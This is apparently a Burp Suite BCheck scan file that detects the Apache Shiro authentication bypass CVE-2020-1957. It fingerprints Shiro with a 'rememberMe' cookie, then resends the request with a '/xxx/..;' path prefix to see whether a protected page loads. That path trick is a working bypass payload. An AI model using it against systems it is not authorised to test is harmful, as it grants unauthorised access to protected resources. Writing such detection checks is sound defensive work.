CVE-2020-1957 Shiro AuthBypass.bcheck

metadata:
    language: v1-beta
    name: "CVE-2020-1957 Shiro AuthBypass"
    description: "AuthBypass CVE-2020-1957"
    author: "DemonGod"
    tags: "Shiro", "AuthBypass CVE-2020-1957", "active"

given request then
    if not ({base.response.status_code} is  "200") then
        send request called check:
            replacing headers:
             "Cookie": "rememberMe=1"

        if "rememberMe=deleteMe" in {check.response} then
            send request called auth_pass_check:
            replacing path: `/xxx/..;{base.request.url.path}`

            if {auth_pass_check.response.status_code} is "200" then
                 report issue:
                     severity: high
                     confidence: certain
                     detail: "find shiro AuthBypass CVE-2020-1957"
                     remediation: "update shiro to last."
             end if
        end if
    end if